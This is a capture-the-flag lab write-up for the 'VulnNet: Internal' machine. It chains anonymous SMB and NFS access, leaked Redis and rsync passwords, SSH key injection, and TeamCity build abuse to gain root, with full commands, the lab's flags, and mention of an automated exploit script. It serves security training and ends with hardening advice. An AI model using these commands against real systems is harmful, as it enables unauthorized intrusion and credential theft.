Overview
VulnNet: Internal is a machine designed around internal service misconfigurations rather than web application bugs. The attack chain pivots across multiple services — SMB, NFS, Rsync, Redis, and TeamCity CI/CD — each leaking credentials or access that leads to the next. Every flag requires a different service compromise.
The final privilege escalation exploits TeamCity's build execution as root to inject SSH keys
into /root/.ssh/authorized_keys. Full automation PoC available in the repo.
Recon → SMB/NFS/Rsync/Redis Enum → Credential Chain → SSH → TeamCity Abuse → Root 1. NFS leaks Redis config → Redis password 2. Redis stores b64 rsync creds → Rsync password 3. Rsync writable home dir → SSH key injection → user shell 4. TeamCity running as root → build RCE → root shell
Port Scan & Service Discovery
$ nmap -sV -sC -p- --min-rate 5000 -Pn 10.48.185.54
The machine immediately advertises a massive internal attack surface — 8 open services:
| Port | Service | Version |
|---|---|---|
22/tcp | SSH | OpenSSH 8.2p1 |
111/tcp | rpcbind | 2-4 |
139/tcp | NetBIOS-SSN | Samba smbd 4 |
445/tcp | microsoft-ds | Samba smbd 4 |
873/tcp | rsync | protocol v31 |
2049/tcp | NFS | 3-4 |
6379/tcp | Redis | key-value store |
42283/tcp | Java RMI | — |
SMB — Anonymous Share Access
$ smbclient -L //10.48.185.54 -N shares VulnNet Business Shares (anonymous access) print$ Printer Drivers IPC$ IPC $ smbclient //10.48.185.54/shares -N -c "recurse ON; ls" temp/services.txt data/data.txt data/business-req.txt
The shares share allows anonymous access. Inside temp/,
services.txt contains the first flag.
NFS — World-Readable Config Export
The NFS export /opt/conf is shared with * — world-accessible
with no IP restrictions. Mounting it reveals a full Redis configuration file.
$ showmount -e 10.48.185.54 Export list: /opt/conf * $ sudo mount -t nfs 10.48.185.54:/opt/conf /tmp/nfs_mount $ ls /tmp/nfs_mount hp init opt profile.d redis vim wildmidi $ grep 'requirepass' /tmp/nfs_mount/redis/redis.conf requirepass "B65Hx562F@ggAZ@F"
Redis password obtained: B65Hx562F@ggAZ@F — the first link in the credential chain.
Redis — Internal Flag & Credential Extraction
$ redis-cli -h 10.48.185.54 -a 'B65Hx562F@ggAZ@F' keys '*' marketlist int tmp internal flag authlist $ redis-cli -h 10.48.185.54 -a 'B65Hx562F@ggAZ@F' get "internal flag" THM{ff8e518addbbddb74531a724236a8221}
The authlist key contains base64-encoded rsync credentials — stored in
Redis as if it were a secrets manager (it isn't):
$ redis-cli -h 10.48.185.54 -a 'B65Hx562F@ggAZ@F' lrange authlist 0 -1 QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9... $ echo "QXV0aG9yaXphdGlvbi..." | base64 -d Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v
Rsync credentials obtained: rsync-connect / Hcg3HP67@TW@Bc72v
Rsync — User Flag & SSH Key Injection
$ export RSYNC_PASSWORD='Hcg3HP67@TW@Bc72v' $ rsync --list-only rsync://rsync-connect@10.48.185.54/files/ ssm-user sys-internal ubuntu $ rsync rsync://rsync-connect@10.48.185.54/files/sys-internal/user.txt /tmp/ THM{da7c20696831f253e0afaca8b83c07ab}
The rsync share exposes the full home directory of sys-internal —
including a writable .ssh/ directory. SSH key injection
is trivial:
$ ssh-keygen -t rsa -b 4096 -f /tmp/vulnnet_key -N "" $ cp /tmp/vulnnet_key.pub /tmp/authorized_keys # Upload via rsync $ rsync /tmp/authorized_keys rsync://rsync-connect@10.48.185.54/files/sys-internal/.ssh/authorized_keys # SSH in $ ssh -i /tmp/vulnnet_key sys-internal@10.48.185.54 uid=1000(sys-internal) gid=1000(sys-internal)
TeamCity RCE — Build Injection as Root
Process enumeration reveals TeamCity CI/CD running as root
on port 8111. The super user authentication token is logged in plaintext:
$ ps aux | grep -i team root 1221 ... /TeamCity/... org.apache.catalina.startup.Bootstrap start $ grep 'Super user authentication token' /TeamCity/logs/catalina.out | tail -1 [TeamCity] Super user authentication token: 8977196237306343825
Set up SSH port forwarding to access the internal TeamCity instance, then authenticate via the REST API using the super user token:
# SSH tunnel $ ssh -i /tmp/vulnnet_key -L 8111:127.0.0.1:8111 sys-internal@10.48.185.54 -N -f # Create project + build config $ curl -u ":8977196237306343825" -X POST http://127.0.0.1:8111/app/rest/projects -H "Content-Type: application/json" -d '{"name":"Pwn","id":"Pwn","parentProject":{"id":"_Root"}}' $ curl -u ":8977196237306343825" -X POST http://127.0.0.1:8111/app/rest/buildTypes -H "Content-Type: application/json" -d '{"id":"PwnBuild","name":"PwnBuild","project":{"id":"Pwn"}}'
Inject a malicious build step that runs as root — writes our SSH public key into
/root/.ssh/authorized_keys and dumps the root flag:
$ curl -u ":TOKEN" -X POST http://127.0.0.1:8111/app/rest/buildTypes/id:PwnBuild/steps -H "Content-Type: application/json" -d '{ "name": "pwn", "type": "simpleRunner", "properties": {"property": [ {"name": "script.content", "value": "mkdir -p /root/.ssh && echo PUBKEY >> /root/.ssh/authorized_keys && cat /root/root.txt > /tmp/root_flag.txt"}, {"name": "use.custom.script", "value": "true"}, {"name": "teamcity.step.mode", "value": "default"} ]} }' # Trigger build $ curl -u ":TOKEN" -X POST http://127.0.0.1:8111/app/rest/buildQueue -H "Content-Type: application/json" -d '{"buildType": {"id": "PwnBuild"}}'
Build executes as root. Flag retrieved, SSH key planted:
$ cat /tmp/root_flag.txt THM{e8996faea46df09dba5676dd271c60bd} $ ssh -i /tmp/vulnnet_key root@10.48.185.54 uid=0(root) gid=0(root) groups=0(root)
Attack Chain
services.txt from shares → Flag 1/opt/conf → leaked Redis password B65Hx562F@ggAZ@Fauthlist key.ssh/ dir → uploaded authorized_keys → Flag 3 + user shellcatalina.out → authenticated REST API accessVulnerabilities
| Finding | Service | Severity | Impact |
|---|---|---|---|
| CI/CD running as root | TeamCity (8111) | Critical | Build RCE → full root compromise |
| Super user token in logs | TeamCity (8111) | Critical | Unauthenticated admin access |
| Writable home via rsync | Rsync (873) | High | SSH key injection → user shell |
| Plaintext creds in Redis | Redis (6379) | High | Rsync credential disclosure |
| World-readable NFS export | NFS (2049) | High | Redis password disclosure |
| Anonymous SMB share | SMB (445) | Medium | Information disclosure |
Takeaways
/opt/conf was shared to *. Use IP-based restrictions,
root_squash, and nosuid options.
127.0.0.1 and use proper secrets management.
.ssh/ directories.
Full-Chain Exploit Script
The complete exploitation chain is automated in vulnnet_internal_pwn.sh —
a Bash script that chains all 7 phases from recon to root.
$ chmod +x vulnnet_internal_pwn.sh $ ./vulnnet_internal_pwn.sh 10.48.185.54 [*] Target: 10.48.185.54 [FLAG] services.txt → THM{0a09d51e488f5fa105d8d866a497440a} [FLAG] internal flag → THM{ff8e518addbbddb74531a724236a8221} [FLAG] user.txt → THM{da7c20696831f253e0afaca8b83c07ab} [FLAG] root.txt → THM{e8996faea46df09dba5676dd271c60bd}
Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
smbclient | Anonymous SMB share enumeration |
showmount / mount | NFS export discovery and mounting |
redis-cli | Redis key enumeration and data extraction |
rsync | File synchronization and SSH key upload |
ssh / ssh-keygen | Key generation, tunneling, shell access |
curl | TeamCity REST API exploitation |
vulnnet_internal_pwn.sh | Full-chain automated exploit (Bash) |